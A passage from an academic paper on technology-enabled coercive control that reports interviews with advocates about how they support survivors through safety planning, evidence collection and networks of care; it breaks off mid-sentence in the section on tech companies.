and control over an individual’s life using threats of harm,
dependence, isolation, intimidation, and/or physical forms of
violence, often resulting in a survivor losing a sense of their
self-worth, bodily integrity, and safety [19, 62]. Coercive con-
trol is increasingly used instead of “domestic violence” to
encompass situations in which partners are not cohabitating,
as well as to highlight that not all abuse includes physical
violence. In contrast, terms like cyberviolence or digital abuse
can also include harassment by strangers on online platforms
such as Twitter [32, 66].

To simplify the language, we use “tech abuse” as a short-
hand for technology-enabled coercive control. This is a broad
term that encompass ways in which technology is co-opted
for coercive control both in intimate relationships (family or
dating violence) as well as violence from strangers which
weaponises intimacy or intimate information for coercion and
control [44]. For example, technology-enabled stalking or
intimate image abuse are harms which are often perpetrated
by clients against sex workers [7]. Likewise, harms such as
“sextortion,” in which the threat of releasing intimate images
is used to coerce someone into acts such as sending more
intimate images, are sometimes perpetrated by partners or
family members, but can also be perpetrated by strangers
who specifically target victims on online forums or dating
apps [74].

Drawing on past work defining the tech abuse threat model
[26, 36, 44, 59, 70], there are five primary forms of tech abuse
perpetrators use:

1. Ownership-based access: Being the owner of a de-
vice or account allows a perpetrator to prohibit vic-
tims’/survivors’ usage or track their location and actions;

2. Account/device compromise: Guessing or coercing cre-
dentials which enables a perpetrator to install spyware,
monitor the victim/survivor, steal their data or lock them
out of their account;

3. Harassment: Contacting victims/survivors or their
friends, family, employers etc. without their consent, of-
ten including deception, defamation or impersonation;

4. Malicious exposure (reputational attack): Sharing
or threatening to share private information or non-
consensual intimate images (i.e., image-based sexual
abuse);
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5. Gaslighting: Making a victim-survivor feel as if they
are losing their sanity and/or control over their home,
for example by remotely changing temperature using an
Internet of Things (IoT) device or deleting past messages
and denying they were sent.

Perpetrators of tech abuse usually do not use highly tech-
nically sophisticated techniques. Instead, since perpetrators
are often living with their victims or have intimate relation-
ships with them, they often gain access to victim’s accounts
through physical access to victims’ devices, knowledge of
victims’ passwords, or their ability to guess or coerce these
passwords. As a result, many conventional security measures
based on an authentication model, such as passwords and
security questions, are not effective in preventing tech abuse.
Freed et al. [26] describe the prototypical tech abuse perpetra-
tor as a “UI-bound adversary” who uses the existing interfaces
of apps and platforms for abuse, rather than finding exploits
in code. When these forms of access are not enough, perpe-
trators also have easy access to stalkerware programs which
enable location-monitoring and other forms of stalking [12].
Such applications are sometimes available on app stores and
may even be in-built into our everyday devices, such as ‘Find
My Friends’ or similar location-sharing applications. Other
researchers have examined the role of platforms or emerging
technology like IoT in mediating abuse [45, 65].

Lastly, a key aspect of defending against technology abuse
is that many survivors must live with tech abuse for many
years, and so it is often not possible to secure devices and cut
off contact. Survivors stay in abusive relationships for many
reasons, including financial dependence, legal constraints
(such as visa regimes tied to marriage) and the psychological
impacts of coercive control. Survivors’ privacy and security
needs and practices therefore change at various stages of the
relationship. Sometimes defending against abuse involves
managing living under surveillance, while at other times, for
example while preparing an escape, it may involve fully wip-
ing devices to avoid being tracked [34,48,71]. Even survivors
who are able to leave violent and harmful relationships may
have to maintain contact with the perpetrators, for example
due to shared custody of children.

These difficulties are further exacerbated and complicated
when victim-survivors’ identities are tied to multiple forms
of oppression. Like all forms of abuse, technology-enabled
coercive control is underpinned by societal structures of op-
pression such as racism, misogyny, class privilege, ableism,
heterosexism, and so on [29,32,60]. People experience oppres-
sion at the intersections of these different aspects of their iden-
tity, forming multiple kinds of complex experiences. Because
of this, research which focuses primarily or exclusively on the
role of gender in harassment and abuse risks marginalizing
people who identify with multiple intersecting identities [32].
For example, while women experience domestic and sexual vi-
olence at disproportionate rates to men, poor women, women

of colour, and immigrant women are also further marginalised
when law enforcement do not take these experiences seriously
or even penalise survivors of abuse [16, 60]. The majority
of existing research focuses primarily on the Global North,
mostly including English-speaking countries such as the US,
UK, and Australia, and therefore may fail to account for re-
gional and cultural specificities [55].

As a result of such socio-economic, legal, and familial
reasons, many victim-survivors must live with tech abuse
for many years. In many cases, ending technology-mediated
abuse is not as simple as securing devices or changing pass-
words. Societal issues such as intimate partner violence and
coercive control, even when mediated through technologies,
cannot be solved with solely technical fixes. Below, we look
towards work that has responded to this kind of abuse, provid-
ing starting points for addressing this issue within the security
community.

2.2 Exploring solutions and recommendations

Following empirical research to understand practices of perpe-
trators and needs of survivors, researchers turned their atten-
tion towards finding solutions. Here, we differentiate between
three areas of solution-oriented work: (1) recommendations
for survivors; (2) technical recommendations; and (3) the de-
velopment of services, particularly through community-based
action research projects. While it is important for research to
explore and recommend solutions, this is not the only way to
approach this problem and can in fact miss an important step:
i.e., closely studying existing security practices.

Responses to tech abuse, particularly from law enforce-
ment, often include recommendations for survivors to keep
themselves safe. These risk imposing an additional burden of
“safety work” on survivors who are already psychologically,
financially and emotionally burdened by abuse, or creating
new forms of victim-blaming in which survivors are accused
of having inflicted harm upon themselves by choosing to use
certain devices and/or platforms [33, 63].

Technical solutions have included design recommenda-
tions [39, 44, 51] and methods such as threat modelling [59],
co-design with survivors [43], and usability analysis [52] for
the design and development of safer systems. There are also
examples that have put into practice some of these recommen-
dations, such as Arief et al.’s [2] platform for survivors, the
Tech vs Abuse project [73], or Unmochon, a tool for publicly
sharing evidence of harassment [64]. These approaches are
valuable, as they highlight the role of technology design in
mediating and enabling abuse and offer technology compa-
nies ways to address and mitigate technology abuse in design.
It is important for companies to understand they have a re-
sponsibility to address these problems on their products and
platforms. However, problems of abuse cannot fully be “de-
signed out” or “solved” by UX changes [5].

Other solutions have included recommendations of support
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systems, such as calls for greater empathy from technologists,
police officers, educators and employers [42] and legal and
policy recommendations [14]. Alongside academic research,
“grey literature” (such as non-academic reports and guidance
documents) from women’s support services [14], sex worker
organisers [31], or organisations working on online gender
based violence [28] has also centred the testimonies of sur-
vivors, provided timely empirical research about experiences
of harm and violence, as well as opportunities for the devel-
opment of services to support perpetrators in changing their
behaviours [3].

Although empirically studying tech abuse advocates’ se-
curity and safety practices has not been the focus of much
existing research, some valuable exceptions include studies
of ecosystems of support for tech abuse survivors [25], safety
planning practices in domestic violence shelters [49] and the
information security needs of human trafficking services [13].
These studies emphasize the difficulties and importance of bal-
ancing information security and psychological safety for sur-
vivors as well as technology as a “double-edged sword” which
both enables survivors and exposes them to risks. Lastly, not
all survivors can access conventional victim support services.
For example, Sambasivan et al. [55] emphasize many sur-
vivors’ preference for seeking support from friends and fam-
ily, and Zou et al. [75] investigate the role of customer support
in an anti-virus company in aiding survivors.

Two projects have combined developing solutions with
empirically studying the support sector by setting up clin-
ics where technologists support survivors in securing their
devices. The Clinic to End Tech Abuse in New York, USA,
has described existing ecosystems of support for tech abuse
survivors [34], produced resources and checklists for securing
survivors accounts and devices [68], and explored the chal-
lenges of providing services to survivors during the covid-19
pandemic [71].

The Technology-Enabled Coercive Control Initiative is
a community-based participatory action research project in
Seattle, USA, in which researchers collaborate with advocates
to better understand the problem of technology-enabled coer-
cive control [19]. Their research has both helped define the
problem of tech abuse, highlighting how tech abuse can be de-
bilitating and cause feelings of hopelessness in survivors, and
also understand gaps and failures in support systems. They
emphasize that the process of seeking relief and accountabil-
ity through civil and criminal legal systems is often ineffectual
and can even be retraumatising.

Both these initiatives focus on “building bridges” between
the victim-support sector and law enforcement, researchers,
and technology companies to more effectively provide re-
lief [19]. These projects have highlighted broader legal and
policy changes which must happen to address the rise of
technology-enabled abuse: for example, although tech abuse
clinics have made significant contributions in local contexts,
significant funding and investment would be needed to make

these services accessible more broadly [24]. Similarly, a re-
cent study of the intimate partner violence support sector in
the UK highlights the shortcomings of existing risk assess-
ment and recording practices as well as the urgent need for
greater funding to develop the sector’s capacities [65].

To summarise, many researchers have started developing
solutions at individual, technical, and societal levels. However,
these papers generally do not provide a comprehensive look
at what security practices look like in the sector. Instead, they
often point towards spaces that require improvement, in what
can be called a deficit model for research: looking for what
needs fixing, but not looking at innovation that is happening
among practitioners and what we can learn from it.

2.3 Examining security and care practices

Taking a closer look at existing support systems allows us
to understand how safety is achieved in practice, so that we
build on this rather than jumping to providing solutions. This
interest in empirically studying support practices is motivated
by two theoretical traditions in ethical and political theory:
critical security studies and the ethics of care.

Critical security studies places a methodological emphasis
on security as a practice as opposed to security as an object
or a state [1]. Security practices can include surveillance or
predictive policing as well as discursive practices like securi-
tisation, i.e. framing a policy area (like the “war on drugs” or
immigration) as a security issue [4, 10]. Critical security theo-
rists are generally sceptical of this process of securitisation,
arguing it is used to justify imposing and extending carceral
or authoritarian state power [50], as well as technologies that
are abusive or cement problematic power relationships [61].
For example, Stahl et al. [61] document how access controls
in a hospital computer system cement a hierarchical relation-
ship between patients and doctors that is at odds with the
hospital’s patient-centred values. Critical theorists often il-
lustrate or deconstruct how ideas about security, as well as
practices in which those ideas are enacted, lead to harmful out-
comes. Instead of aiming for security, many critical theorists
focus on goals like individual and collective emancipation or
liberation [23].

Feminist theorists of security studies have long argued that
conventional or mainstream notions of security exclude forms
of violence that are deemed “personal” or “private”, including
gendered violence like domestic or sexual violence [56, 67].
Security is often considered at the scale of “high politics”
like the UN Security Council, international espionage, or, in-
creasingly, corporate boardrooms rather than everyday life
or everyday surveillance [20, 47]. Cybersecurity research has
traditionally recreated these patterns of omission by exclud-
ing threats like domestic and intimate partner violence from
the threat models that inform security analysis [57]. In con-
trast, Hörschelmann et al. [40] describe social relations as
sources of both security and insecurity, or a “key connective
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tissue through which different dimensions of (in)security are
entangled.” They describe security practices as including the
emotional and practical labour invested in dealing with the
breakdown of social relations.

This reflects a broader focus in much feminist political and
ethical theory on the notion of care. In particular, the “ethics
of care” is a feminist moral theory which focuses on care as
a principle and practice within a wider network of relations
between human beings [35]. Theorists in this tradition often
posit that experiences of caring for others, particularly those
who are vulnerable, give care-provider privileged access to
distinctive and valid forms of moral thought [35, 69]. Care
ethics emphasize the value and necessity of caring labour as
well as the values of empathy, sensitivity, trust, and responding
to need.

Black feminists have also championed the concept of self-
care, following Audre Lorde’s work on self-care as a radical
political act for those burdened within oppressive systems
[46]. Akiwowo [72] extends these ideas to digital privacy,
advocating for “digital self-care” (such as muting abusive
words on Twitter) and bystander interventions into online
harassment. In the words of Saidiya Hartman, "care is the
antidote to violence" [41].

Theorists of care have also introduced critical approaches
to care work, focusing for example on the ways in which
unpaid care work furthers gender inequalities [37] and how
this disproportionately burdens poor women and women of
colour [38, 46]. Lastly, some theorists have been careful to
highlight the “dark sides of care,” noting how care can become
a cover for control or be disempowering to receivers of care,
for example for people with disabilities experiencing medical
care [6].

2.4 Summary

The majority of research on technology-enabled abuse focuses
on understanding the problem, including documenting perpe-
trators attacks and survivors’ security needs and practices, or
developing recommendations and solutions to the problem.
This study however builds on previous literature by examining
what existing security practices look like in this field. This
is theoretically motivated by critical security studies as well
as feminist research on security and care. These theoretical
traditions, in their focus on practice, critical approaches to the
notion of security, and emphasis on care, have much to offer
the study of information security and privacy [61]. Advocates
who support survivors of technology abuse are both security
practitioners and care practitioners, and therefore offer a valu-
able perspective on entanglements between care and security.
By critically examining security and care practices, we can
gain important understandings of what security is and should
be.

3 Methods

In this paper, we expand research related to technology-
mediated abuse by learning with and from safety advocates
using semi-structured interviews and participatory forms of
data analysis. Our research is underpinned by a feminist fram-
ing of safety and digitally mediated abuse which involves
centring of our participants’ expertise not just as ‘advocates’
but also as security experts. Below, we first present details
on our interviews and analysis before addressing the issue of
positionality in our work.

3.1 Qualitative interviews

To explore advocates’ experiences of supporting survivors of
technology abuse in depth, we conducted 26 semi-structured
qualitative interviews (see table below), each lasting 1-2h.
Although most participants worked in the gender-based vio-
lence (GBV) sector broadly construed (i.e. organisations with
a focus domestic violence, family violence, human trafficking
and sexual violence), a few came from digital privacy groups
or hacking collectives which had begun to support survivors
of intimate partner violence as a part of their advocacy, of-
ten as volunteers. Advocates had worked in the domestic or
sexual violence sector for an average of 9.2 years. Lastly,
several participants were specifically recruited because they
support communities like sex workers, refugees, or LGBTQ+
people who are sometimes excluded from the traditional GBV
sector [11].

As we are promoting advocates as experts in their field,
we wanted to give advocates the chance to be identified by
their name and organisation should they choose to do so [17].
Consequently, although participants in the study are pseudony-
mous by default, participants could also opt-in to use their real
name. Asterisks (*) indicate areas where participants chose
to use a pseudonym or keep details confidential. Participant
names and organisations are listed in Appendix 1 (7.1).

Participants were recruited using purposive sampling: some
were recruited through the first authors’ personal network,
while others volunteered after the call was shared on a va-
riety of mailing lists aimed at people in the victim support
sector. Selection criteria were having supported at least three
survivors of technology-facilitated abuse. Interviews were
recorded and transcribed using Word Transcribe, and then
played back and corrected. Interviews took place over three
months from December 2020 to February 2021 and were not
compensated.

We asked participants about types of technology abuse they
had seen, how they supported survivors, and what improve-
ments they would like to see in technology and cybersecu-
rity. Participants were also prompted to share specific cases,
without identifying details, to illustrate how they supported
different survivors. We also asked about how participants
addressed the psychological distress which survivors experi-
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enced as a result of tech abuse, as well as whether there were
any demographic factors (like gender, race or immigration
status) particular to the survivors they supported that shaped
their experience of tech abuse (see 7.2 for the full interview
protocol).

3.2 Data analysis

Following the interviews, we hosted a 2h-long workshop to
discuss the role of technology-mediated abuse in the devel-
opment life-cycle of data-intensive technologies 2. Ten inter-
viewees were invited to this workshop, although not all of
them were able to attend. As part of this workshop, we car-
ried out a ’data walkthrough’ where we presented our initial
data analysis back to participants, asking them to critique our
interpretations. We used an interactive whiteboard to support
the discussions in the virtual workshop. This allowed par-
ticipants to add their thoughts and reactions without words.
We presented some initial findings from the interviews on
the whiteboard, giving participants an opportunity to respond
and push back on our interpretations verbally, as well as with
post-it notes, emoji, or other forms of visual media on the
whiteboard. This process of participatory data interpretation
allowed us to conduct research in a less hierarchical way, fol-
lowing feminist principles of participatory research [27]. In
particular, we highlighted in the transcript and our findings
moments when participants pushed back or re-framed some
of our interpretation. The workshop was audio recorded and
transcribed; we took screenshots of the whiteboard.

The interview and workshop transcripts were analysed us-
ing reflexive thematic analysis [8]. This is an approach to
qualitative analysis which emphasizes the active role of the
researcher in the knowledge production process and inten-
tionally does not include a codebook or quantification of
frequency of themes. Instead, this work focuses on the reflex-
ive development of understanding with and through the data:
initially the first author coded the interview transcripts, from
which they developed themes. These themes, alongside quo-
tations from the transcripts, were fed back on by participants
during the workshop. The transcript from the workshop was
then coded and discussed by both authors. As such, the final
themes presented in this paper were negotiated between both
authors, in conversation with participants, and based on data
and our interpretations thereof [9].

In September 2021 the authors worked together to produce
a toolkit to improve the safety of people for technology devel-
opers and researchers who work closely with data-intensive
technologies. This writing process helped crystalise themes
and helped further develop our thinking. This learning also
feeds into this paper.

2The workshop results are described further here:
https://nrl.northumbria.ac.uk/id/eprint/47508/

3.3 Ethics
This study received ethical approval from the University of
Oxford Central University Research Ethics Committee. We
obtained informed consent from participants to conduct and
(optionally) to audio record the interview. As the interviews
could touch on sensitive topics, we ensured that participants
knew that they could skip questions and request a break at any
time. We also emphasized that participants should provide
only as much detail in their answers as they felt comfortable
with. All electronic files were password protected and stored
in a secure location.

3.4 Positionality
Both authors are white women feminist researchers in the
United Kingdom whose research interests are related to safety
and technology. The first author is a PhD student with some
experience volunteering with a sexual abuse and rape cri-
sis centre in their listening services, i.e. phone and texting
support. This experience allowed for a degree of shared under-
standing and empathy with participants. The second author is
safely employed at a university with experience of working
with a number of support services who work with people of
all genders who have experienced different forms of inter-
personal, politically-motivated, and institutional harms. The
two authors bring their experience and gained understanding
from their volunteering and collaborative research to frame
the concerns outlined in this paper. As such, our feminist
approach, the centring of our collaborators’ knowledge, and
our somewhat-insider knowledge plays a crucial role in our
analysis of the data.

4 Findings

In this section we address three main areas: (1) advocates’
support practices; (2) the networked and relational forms of
security that are produced in this process; and (3) the changes
that these advocates propose in how we address tech abuse.

4.1 Support practices
Advocates described supporting survivors in five main ways:
by establishing trust and belief; safety planning (which in-
cludes threat assessment, resilience mapping, and taking ac-
tion to secure accounts and devices); empowerment and de-
mystification; supporting evidence-collection and making re-
ferrals. While some of these support practices—like threat
assessment or securing devices—resemble established cyber-
security practices, others—like demystification—are more
nuanced emotional or psychological practices which fall out-
side of conventional security frameworks.

Establishing trust and belief. Many advocates described
establishing trust and belief as a critical prerequisite to pro-
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viding any support. In our interviews, many stressed the im-
portance of establishing a relationship before any probing
questions about the abuse or survivors’ devices were asked.
Many survivors will have experienced gaslighting, an abuse
tactic in which a perpetrator tries to undermine a survivor’s
perception of their own sanity. This is then often compounded
by disbelief from friends, family, or law enforcement [36].
Natalie Dolci, (Technology-Enabled Coercive Control Initia-
tive [19]) said, “it’s very easy for [...] female identified sur-
vivors or gender nonconforming survivors [...] to be treated
like they’re crazy.” Consequently, belief and validation–i.e.
making sure survivors felt that their concerns were affirmed
and taken seriously–were critical principles for the majority
of advocates interviewed.

One advocate described doing this through sharing her own
experiences of technology abuse to reassure survivors that
they are not alone in their experience and “build rapport” with
them (Stephanie*). Many others repeated the importance of
reassuring survivors that they believed them, that their ex-
periences and emotions were not uncommon, and that they
were not to blame for what had happened. Sol*, an advocate
who had a day job in white hat hacking, contrasted these prac-
tices of belief and validation with “a more anxiety causing
... tendency to talk about the worst case scenario and focus
on that” among information security professionals. Practices
like establishing trust, building rapport and proactively com-
municating belief are important prerequisites to creating an
emotional sense of safety, before beginning to assess technical
device security. This is important because without that trust,
advocates might never be able to understand how they can
support survivors.

Safety planning. A variety of practices including (1)
threat assessment, (2) resilience mapping, and (3) digital self
defence–grouped under the term “safety planning” form a
major part of the support advocates offer survivors. One way
of understanding this is that safety planning is the most ob-
vious substantive form of support, while the other practices
outlined in this section are more subtle underlying practices
intertwined with safety planning.

Firstly, after establishing trust, advocates often described
conducting a formal or informal threat assessment (although
most advocates did not describe this in terms of threat assess-
ment). Assessing threats can include technical support like
checking devices and accounts, but it can also be assessing
for emotional, physical, or financial threats. Chris described
this as a “kind of triage, like what do we need to take care
of?”. Recognising technology abuse alongside other forms
of coercive control can be a challenge; several advocates
reported that many survivors do not realise that technology
abuse is happening as “it’s not always very obvious” (Amy
Jacques). In particular, advocates emphasized the importance
of paying attention to children’s accounts and devices in threat
assessment, as these can easily be abused. In many situations,
survivors may not identify an abusive situation as abusive.

For example, Emma Pickering (Refuge UK) described a
situation in which a survivor reported intense harassment of
around 100 emails a day, but the police were not taking the
case very seriously. Emma went through “a checklist with
[the survivor] and it turned out that actually the whole house
was rigged with technology. She’d been with him since she’s
15 and she thought it was very normal because of the way
he behaved to have webcams in the bedroom, the bathroom;
he had three home built PCs for the children, the Xbox was
rigged.” In this case, the survivor was aware of the cameras
but had not articulated this behaviour as abuse and therefore
did not report it to the police.

Threat assessment practices can come into tension with
the principles of belief and validation. For example, Sarah
explained “we always want to make sure that we’re believ-
ing people, but I think for people who may be new to [...]
working with someone who’s experiencing stalking behavior,
especially if that stalking includes tech-facilitated abuse that
they may jump to like the zebra issue instead of just working
with horses first.” She explained this meant both survivors and
advocates may assume stalking is related to “more advanced”
forms of abuse like spyware or hacking, when in reality, more
mundane acts like guessing or coercing a Facebook password
are much more common forms of compromise.

Identifying what’s possible requires a detailed knowledge
of account compromises, such as the fact that if someone has
access to an email password, they can likely use that to reset
your Facebook password, but not vice versa (Rowan*). There-
fore, threat assessment often requires both fairly sophisticated
technical knowledge (i.e. differentiating between spyware or
various password compromises) as well as the very subtle
skills of belief and validation discussed earlier. Advocates
take great care to avoid invalidating survivor’s experience of
abuse, even if their assessment of the problem is different to
the survivor’s.

Many advocates reported incorporating the framework of
intersectionality into their safety planning practices. They
confirmed that tech abuse, like other forms of abuse, dispro-
portionately affects people experiencing multiple forms of
oppression. For example, survivors with disabilities who rely
on assistive technology like mobility aids or screen-readers
are particularly vulnerable to that technology being withheld
or exploited (Natalie Dolci). Migrant survivors face specific
risks like perpetrators impersonating immigration officials
online and threatening deportation or threatening to expose
undocumented status online. Similarly, Metzli Mejia, (Los
Angeles LGBT Center) described how LGBTQ+ survivors
face additional risks of being outed online. Lastly, many ad-
vocates reported that law enforcement are often less likely
to treat cases involving women of colour or those from less
wealthy backgrounds seriously. When taking these overlap-
ping identities into account in threat assessment, advocates
incorporate intersectionality into their practices.

Secondly, in the data walkthrough, Toby Shulruff made an
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important point in noting that advocates do not just assess
threats, but also help survivors map their strengths and re-
silience. Toby noted that there is a tendency, especially in
legal systems, to portray survivors as “fragile and in need of
saving” when in reality they are highly creative and resilient.
By mapping these strengths, advocates help survivors keep in
mind all the resources they have to draw on; this is a critical
part of empowerment, a practice explored in the next section.

Lastly, safety planning involves taking action to secure
accounts and devices, as well as anticipating future scenarios
and planning appropriate responses with the survivor. Safety
planning was, in advocates’ accounts, often closely linked
with “survivor centric approaches” which means “deferring
to what the survivor identifies as best outcome” (Sarah). For
example, rather than pressuring survivors to leave, advocates
reported changing their advice and safety planning to adjust
to the survivors’ preferences.

Besides securing accounts and devices, safety planning
may include actions like limiting social media use, or dating
app use, reporting perpetrator to social media platform, or
forwarding emails from the perpetrator to a separate folder
to limit time spent engaging. Many of these resemble what
Akiwowo [72] described as “digital self care”. Farah Sattar
(DCRYPTD) described these as general “digital self defence”
techniques.

Advocates were careful to highlight potential unintended
consequences to survivors: for example, removing spyware
might result in losing the evidence that it was there in the first
place. The difficulties of evidence-collection will be explored
further in 4.1. Furthermore, removing a tracking app from a
survivor’s phone may result in further violence and abuse from
a controlling partner, rather than making them safer. This is
why it is imperative to incorporate the survivor’s experiences,
needs, context, and preferences into any advice.

Demystification and empowerment. Throughout sup-
porting survivors who experience tech abuse, advocates seek
to empower survivors to recognise their strengths while simul-
taneously demystifying the disproportionate power perpetra-
tors attempt to project. As Eva Galperin (Electronic Frontier
Foundation) said, “for a lot of people, technical knowledge
and you know computer security is essentially magic [. . . ]
so it’s very easy to use the appearance of that knowledge to
make yourself seem omniscient and omnipotent and often that
alone is enough to manipulate the victim.” Similarly, Chris
said “a lot of times the abuser is promoting themselves as this
tech god and they create an impression of themselves as just
being all knowing and they can do anything.” This overstat-
ing of perpetrator capabilities complicates threat assessment,
contributing to the zebra vs horse problem described above.
Advocates will demystify this appearance of power by helping
survivors understand “what the perpetrator is actually capable
of, and what’s bullshit” (Eva Galperin).

Drawing on research from the Technology-Enabled Coer-
cive Control Initiative [19], Natalie Dolci phrased this in terms

of “perceived expert status”: perpetrators will often overstate
their “tech-savviness” and advocates try to diminish this per-
ceived expert status while raising survivors perceptions of
their own expertise and technical competence.

At the same time, advocates will both help survivors de-
velop their technical skills and recognise how many technical
skills they already have, in a process of empowerment. For ex-
ample, Adam Dodge described asking survivors if they “know
how to reset a password, know what location tracking apps
are and what they do, know what Wi-Fi is” and when they
answered yes, saying “I would describe that a person who
knows how to use all those things and knows what they are
as actually very tech savvy.” Similarly, for many advocates
even mundane processes of threat assessment were phrased
in terms of empowerment: for example, describing how to
distinguish between annoying adware and targeted attacks as
helping people “to be more empowered” (Toby Shulruff).

Survivors experience feelings of helplessness and disem-
powerment as a result of tech abuse, which limit their lib-
erty [19,62]. This makes it particularly critical that advocates’
security practices are based on empowerment as well as belief
and validation. The technical support and advice advocates
give needs to be survivor-centric and respect survivors agency
in order to avoid repeating patterns of coercion and control.
By improving survivors’ perceptions of their own technical
expertise, while simultaneously reducing the perpetrators per-
ceived expert status [19], advocates aim to create a sense of
safety which is synonymous with empowerment.

Supporting evidence collection. Although most advo-
cates we interviewed were not lawyers, guiding and support-
ing survivors through interactions with law enforcement and
court systems was a huge part of the work advocates described.
Documenting device compromise, abusive messages, or op-
pressive surveillance are critical for seeking redress through
legal routes, such as reporting to law enforcement, getting a
restraining order, or going to court.

Advocates supported this using tools such as “stalking
logs” which allow survivors to record unwanted contact and
interactions with perpetrators (Stephanie*). Advocates also
often mentioned screenshots as a critical tool for producing
evidence. Two advocates also described recommending a
specific app called Our Family Wizard which is sometimes
prescribed in court orders for co-parenting. Both advocates
said this app was for making it easy to print a log of all
text messages, phone logs and emails to provide to a court
(although other advocates also expressed reservations about
the way courts mandate it).

However, collecting evidence can often be very tricky.
Many advocates noted the difficulties of procuring a record
from private platforms like Facebook or Snapchat. Re-
becca* described a particularly frustrating pattern with non-
consensual intimate images shared on Facebook: “if you don’t
screenshot them before they’re taken down, then it’s really
difficult to get information from Facebook, like get evidence
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of it for court.” Getting tech companies (usually based in the
US) to respond to requests for evidence is often even harder
in countries outside the Global North: Andrijana Radoicic
Nedeljkovic, an advocate at Atina, a human trafficking and
domestic violence shelter in Serbia, described a case where
the state prosecutor had to wait thirteen months for a response
from Facebook.

In addition, judges often do not know how to interpret tech-
nical data relating to forensics. Likewise, law enforcement
often do not have the necessary skills to collect evidence
and preserve evidence, so that skilled defence lawyers can
make “technical legal arguments around [...] in relation to the
chain of evidence” (Milcah*). With harassment using anony-
mous platforms or spoofed phone numbers, attribution and
demonstrating authenticity is a challenge. Because it is hard
to “get physical proof that it’s happening”, tech abuse often
is not “taken as seriously by different systems” (Rowan*).
Hera Hussein (Chayn) tied this to “a hysteria amongst the
[criminal justice profession] around women submitting false
cases.” Ben Walker (Tech-Enabled Coercive Control Clinic),
described being unable to help survivors by providing ev-
idence in court as then “our clinics records could become
public as a result of subpoenas.”

Technical capacities for collecting evidence can also them-
selves be abused. Hera Hussein described a case where a
woman was recorded for ten years in her home by her partner
without her knowledge. Her partner was now using those ten
years of security camera footage against her to fight a custody
battle by selecting footage that suited his case and omitted
evidence of his own behaviours. In this case, part of the sup-
port Hera was able to offer was to help the survivor validate
her experience of being secretly recorded as coercive control:
“you start peeling the layers that society has, like you know,
put on women’s minds about compromise and understanding
the other person and they start seeing the situation for what it
is. I think that is a very heavily underappreciated service to
support survivors’ understanding.”

Supporting evidence collection is critical in criminal and
civil legal systems, in all countries in which we interviewed
advocates. Evidence can also be very psychologically impor-
tant in the context of gaslighting, so survivors can be reassured
their experiences are valid. Therefore, evidence collection,
although it is not immediately related to securing devices,
is crucial for accomplishing a broader sense of safety and
security.

Referrals. Lastly, advocates support survivors by connect-
ing them with various specialists, resources and other support
services. As Susan Hickey (Harris Country Domestic Vio-
lence Coordinating Council) said “we’re kind of like [...] a
bridge to other resources." In order to be able to refer sur-
vivors to these services, advocates first need to build networks
of people who can be trusted to support survivors. This prac-
tice of developing and maintaining networks of care will be
explored further in the next section.

4.2 Networks of care
Networks of care are networks of practitioners willing and
able to support survivors with specific needs. Developing and
maintaining these networks is a critical security practice that
advocates do in order to create more supportive and caring
environments for survivors, and in many ways a prerequisite
to the individual support practices described in the previous
section. The following section first describes the key attributes
of these networks, and then explores two particularly tricky
relationships to maintain: namely, with law enforcement and
tech companies.

4.2.1 Defining networks of care

Networks of care have three key attributes: namely, they in-
volve elements of care, education, and relationships. Firstly,
these networks’ purpose is to create caring environments for
survivors. This support is often not just about pragmatic ad-
vice but also about showing care. For example, several advo-
cates mentioned making connections with very local contacts,
such as “Geek Squad” tech support services at an electronics
store, or a local car mechanic. Susan Hickey explained, "I
really like when car companies will say yeah, sure I’ll come
and I’ll look at your car [...] Maybe they’re not going to see
everything. But I think it just provides a survivor that support
that’s so important to know that there are people that care." As
survivors have often experienced isolation and cruelty from
perpetrators, as well as indifference or ignorance from legal
systems, building experiences of care is crucial.

Secondly, building links in the networks of care often in-
volves educating various stakeholders in order to prevent
those actors from invalidating survivors’ experiences in ways
that contribute to gaslighting. For example, Susan described
wanting to make sure a counsellor was “aware of all the ways
a person could [...] use technology to abuse them [...] so
they’re not [...] like oh lady, you’re crazy." Similarly Rebecca*
mentioned, “if there were say like a IT expert who could go
through their phone with them but was not trauma informed, I
would be nervous to refer someone to that person without also
being there.” A particular risk for advocates coming from the
digital privacy or cybersecurity space is “judging [survivors]
very harshly, scaring them, giving them advice that is meant
for protecting them from nation states or law enforcement
rather than their [...] abusers level of technical skill” (Eva
Galperin). Therefore, building these networks is more compli-
cated than simply identifying local services; advocates must
also ensure that other actors in their network will take a caring,
trauma-informed approach.

Lastly, the work of developing networks of care is highly
relational as they require building and maintaining relation-
ships. The emotional labour that goes into developing these
networks–for example, anticipating how an IT expert may in-
validate a survivors’ experience–is not commonly appreciated
as a kind of security work.
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4.2.2 Law enforcement

Advocates described a complicated relationship with law en-
forcement: they have to rely on the police to conduct investi-
gations and enforce protection orders, while simultaneously
trying to mitigate the many ways legal systems fail to address
cases of partner and family violence. Andrijana Radoicic
Nedeljkovic (Atina) described the risk of law enforcement
not treating tech abuse like “real violence” which can create
a confusing situation of “double messaging” for survivors
after advocates have encouraged them to identify their ex-
periences as abuse. For this reason, for many advocates it is
important not just to support survivors in articulating abuse,
but also to educate law enforcement to be more receptive and
understanding.

Although many advocates described the importance of
maintaining close relationships with law enforcement to en-
sure perpetrators are prosecuted, many also emphasized that
“the vast majority of survivors don’t report to law enforcement,
don’t want to be involved in legal systems for a full variety
of reasons, or they approach legal systems, and legal systems
aren’t able to [help them]” (Toby Shulfuff). As a result, most
advocates agreed that the main source of support for survivors
should “stay with NGOs and community based organizations”
(Toby Shulruff). Law enforcement is often implicitly assumed
to be a solution to coercive control and domestic violence, yet
it is often a part of the problem. Advocates are therefore an
alternative source of security to that practiced by courts and
police.

4.2.3 Tech workers and tech companies

Another significant group that advocates described building
relationships with were tech companies and tech workers.
Advocates often described a serious gap in support and care
from large tech companies. Many advocates had reached out
to tech companies and reported a variety of frustrating expe-
riences. One advocate said, “computer emergency response
teams at companies do not want to tackle tech abuse.” Several
advocates noted that it is impossible to get any form of hu-
man customer service from large platforms like Facebook or
Twitter, “these monolithic companies that have no telephone
number or they have no email address” (Chris). Even in very
serious stalking or abuse cases, survivors must navigate com-
plicated forms and help pages without support. “The ability
to reach a person would be a game changer” particularly if
there were “customer service people who specialised in iden-
tifying and supporting survivors of intimate partner violence”
(Natalie Dolci).

This gap in support is being filled by tech advocates, often
in ways that creates burdens for their organisations. As one
advocate said, “the tech companies’ lax attitude to customer
service is remedied by people in the advocate/charity space,
without compensation.” Luiza* described an (ongoing as of
time of writing) situation in which Pornhub, without seeking

or getting permission, links to her organisations’ Facebook
page on its "Non-Consensual Content Policy" website, which
results in thousands of people from all over the world reach-
